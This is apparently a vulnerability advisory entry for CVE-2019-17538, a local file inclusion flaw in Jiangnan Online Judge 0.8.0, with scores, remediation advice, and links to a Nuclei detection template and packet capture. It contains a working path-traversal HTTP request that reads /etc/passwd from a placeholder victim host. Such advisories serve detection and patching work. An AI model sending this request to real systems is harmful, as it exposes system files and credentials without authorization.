| Title | Jiangnan Online Judge 0.8.0 - Local File Inclusion |
|---|---|
| Author | pussycat0x |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including system files and credentials. |
| Remediation | Upgrade Jiangnan Online Judge to a patched version or apply the necessary security patches to fix the Local File Inclusion vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.91153 |
| CVE ID | CVE-2019-17538 |
| CWE ID | CWE-22 |
| Tags | cve2019 cve jnoj lfi vkev vuln |
Jiangnan Online Judge (aka jnoj) 0.8.0 is susceptible to local file inclusion via web/polygon/problem/viewfile?id=1&name=../.
GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.4
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17538.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-17538.pcap
N/AN/A